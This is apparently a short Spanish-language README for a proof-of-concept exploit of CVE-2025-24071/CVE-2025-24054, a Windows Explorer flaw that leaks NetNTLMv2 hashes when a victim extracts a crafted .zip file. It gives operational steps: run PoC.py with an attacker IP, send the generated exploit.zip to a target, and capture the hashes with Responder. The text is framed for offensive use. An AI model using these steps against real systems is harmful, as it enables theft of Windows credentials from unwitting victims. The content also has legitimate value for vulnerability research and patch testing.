CVE-2025-24071 / CVE-2025-24054 PoC

Nota: MICROSOFT HA RENOMBRADO CVE-2025-24071 COMO CVE-2025-24054 🤔

Resumen

Esta vulnerabilidad de Windows, específicamente en 'explorer.exe', nos permite recibir un hash NetNTLMv2 de una víctima simplemente con que el atacante extraiga un archivo .zip.

Uso

• Ejecute el script

python PoC.py test 192.168.1.45

• Envíe "exploit.zip" al objetivo, y luego puede usar Responder para recibir el hash NTLMv2

sudo python3 responder.py -I ens33

• Ahora, cuando el objetivo extrae el archivo .zip, ¡Boom! obtenemos los hashes NTLM